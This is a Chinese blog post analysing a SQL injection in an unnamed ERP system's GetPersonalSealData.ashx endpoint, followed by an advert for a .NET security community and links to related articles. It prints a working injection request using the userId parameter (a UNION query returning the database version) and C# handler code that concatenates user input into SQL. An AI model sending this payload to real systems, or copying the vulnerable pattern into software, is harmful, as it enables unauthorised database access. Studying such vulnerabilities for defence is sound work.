.NET 漏洞分析 | 某ERP系统存在SQL注入

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02漏洞背景

某邦一体化ERP将企业物流、资金流、信息流等所有资源整合在一起,对销售、采购、生产、成本、库存、分销、运输、财务、人力资源进行规划,在一套系统内解决企业所有的管理问题,数据实时共享,全程监控各个环节的运转和协作,让企业最大限度利用现有资源取得最佳经济效益。国际是一体化ERP十大品牌,专注于企业数智化转型20多年,一体化ERP全面产品线,该ERP GetPersonalSealData.ashx接口存在SQL注入漏洞。

03漏洞复现

近日外部渠爆出该系统存在SQL漏洞,参数userId存在SQL注入漏洞,具体的数据包如下

复制代码
GET /SYSN/json/pcclient/GetPersonal****.ashx?imageDate=1&userId=-2%20union%20select%20@@version-- HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: *
Connection: Keep-Alive

该注入点支持使用多种注入技术进行测试,包括布尔盲注、堆叠查询、基于时间的盲注和 UNION 查询。如下图所示。

堆叠查询使用 DECLARE 和 WAITFOR DELAY 语句,测试注入点是否可以执行多个SQL查询,返回后台数据库版本是 Microsoft SQL Server 2008,并且当前用户具有 DBA(数据库管理员)权限。

04漏洞分析

GetPersonal****.ashx 文件中存在不安全的 SQL 查询处理,会直接将传入的 userId 参数拼接到 SQL 查询字符串中,从而导致 SQL 注入漏洞。具体代码如下所示。

复制代码
using System;
using System.Data;
using System.Data.SqlClient;
using System.Web;

public class GetPersonalSealData : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        // 获取请求参数
        string imageDate = context.Request.QueryString["imageDate"];
        string userId = context.Request.QueryString["userId"];
        string query = "SELECT * FROM PersonalSealData WHERE ImageDate = @imageDate AND UserId = " + userId;
    }
    public bool IsReusable
    {
        get { return false; }
    }
}

从 QueryString 中获取 imageDate 和 userId 参数,使用字符串拼接构建 SQL 查询,直接将 userId 参数包含在查询字符串中,导致 SQL 注入漏洞。

05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

相关推荐
虹科网络安全1 小时前
解读CRA横向标准EN 40000系列:从法规文本到工程落地 | CRA合规之路(七)
网络·安全·web安全
DevSecOps选型指南3 小时前
中国版Mythos,为何是悬镜安全灵脉CodeAI?
人工智能·安全
凌虚7 小时前
面向 MySQL 用户的 PostgreSQL 快速上手指南
数据库·后端·架构
五阿哥永琪7 小时前
MySQL中操作json的函数!
数据库·mysql·json
来者皆善7 小时前
了解Mysql优化吗?如何优化索引?
数据库·mysql
德迅云安全杨德俊7 小时前
应用加速:一站式解决企业跨域网络加速与安全双重难题
网络·安全·ddos
KKKlucifer9 小时前
运营商全域安全运维支撑体系落地实践
运维·安全
赤壁小虾9 小时前
【渲染流水线】[逐片元阶段]-[透明度测试]以UnityURP为例
java·前端·数据库
数字新视界9 小时前
国产信创动环监控系统助力环境安全管控创新
物联网·安全·电力监控系统·用电安全·大榕树
MC皮蛋侠客9 小时前
SQLAlchemy 系列(七):高级建模与高效写入——批量 DML、方言与扩展
数据库·python